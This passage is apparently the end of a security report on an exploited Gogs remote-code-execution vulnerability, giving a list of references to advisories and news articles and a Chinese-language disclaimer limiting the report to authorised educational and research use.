https://github.com/advisories/ghsa-mq8m-42gh-wq7r
Sonar Source - Securing Developer Tools: Gogs Vulnerabilities
https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1/
BleepingComputer - Unpatched Gogs Zero-Day Exploited
https://www.bleepingcomputer.com/news/security/unpatched-gogs-zero-day-rce-flaw-actively-exploited-in-attacks/
The Hacker News - Unpatched Gogs Zero-Day
https://thehackernews.com/2025/12/unpatched-gogs-zero-day-exploited.html
runZero - Gogs Zero-Day RCE Vulnerability
https://www.runzero.com/blog/gogs/
CVE-2024-55947 GitHub Advisory
https://github.com/advisories/GHSA-qf5v-rp47-55gg
Linux Kernel Documentation - Symlink Security
https://www.kernel.org/doc/Documentation/filesystems/symlinks.txt
免责声明
本报告仅供教育和安全研究目的。报告中描述的技术和工具不应用于未经授权的访问或恶意活动。读者应遵守所有适用的法律法规,并仅在获得明确授权的情况下进行安全测试。
作者和分发者对因滥用本报告内容而导致的任何损害概不负责。
文档结束